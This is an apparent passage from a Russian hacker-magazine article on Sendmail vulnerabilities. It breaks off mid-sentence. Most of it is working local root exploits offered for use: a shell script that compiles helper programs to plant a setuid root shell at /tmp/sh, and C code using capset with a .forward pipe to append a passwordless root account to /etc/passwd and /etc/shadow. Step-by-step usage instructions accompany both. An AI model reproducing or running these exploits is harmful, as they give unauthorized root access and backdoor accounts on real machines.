![](../007.gif)
Дуршлаг в Sendmail
Спецвыпуск Хакера, номер #007, стр. 007-040-3
# ---------------------------------------------
# ----------------- Dedicated to my beautiful lady ------------------
# ---------------------------------------------
# ----------------------
#
# Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo 'main() '>>leshka.c
echo '{ '>>leshka.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c
echo '} '>>leshka.c
#
#
echo 'main() '>>smtpd.c
echo '{ '>>smtpd.c
echo ' setuid(0); setgid(0); '>>smtpd.c
echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
echo '} '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"
"\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
echo "Now type: /tmp/sh"
Как ты видишь, это - шелл скрипт. Вот и сохрани его как s.sh и сделай его
запускаемым (то бишь chmod 700 s.sh). Не вдаваясь в подробности, скажу, что
этот скрипт создает шелл /tmp/sh, запустив который, хацкер может познать
безграничные возможности рута на машине ;).
Плюсы: Легкость в использовании.
Минусы: Баг и версия демона достаточно стары (если учитывать то, что
последняя версия сендмайла - 8.11.2). Нужно иметь юзверские права на ломаемой
машине.
Баг нумбер четыре - каждой пырке по тырке
Версия демона: практически любая (ограничения накладываются лишь на версию
самой оси).
Опись: дело в том, что любой демон в *nix системах обладает правами рута (т.е. их uid/gid == 0). Все это относится и к сендмайлу.
Гыгыгыгы...
Код эксплоита (Файло ex.c):
#include <linux/capability.h>
int main (void) {
cap_user_header_t header;
cap_user_data_t data;
header = malloc(8);
data = malloc(12);
header->pid = 0;
header->version = _LINUX_CAPABILITY_VERSION;
data->inheritable = data->effective = data->permitted = 0;
capset(header, data);
execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
}
Файло add.c:
#include <fcntl.h>
int main (void) {
int fd;
char string[40];
seteuid(0);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
strcpy(string, "shlynx:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
strcpy(string, "shlynx::11029:0:99999:7:::");
write(fd, string, strlen(string));
close(fd);
}
Пример:
Во-первых, не забудь закомпилить эксплоит ;). Создай файло "mail" и впиши туда следующее (без кавычек):
"From: <shlynx@edet_v_m.org>
To: <nadeyus@ya_skoro_um.ru>
Subject: Галлон отстоя ему в ухо!
Ну. Э!
.
"
Теперь создай файл ".forward" со следующим содержанием:
"|/path/to/add" - путь к файлу add.
И, наконец, выполни команду "./ex < mail".
После успешного выполнения у тебя должен появиться новый юзверь shlynx без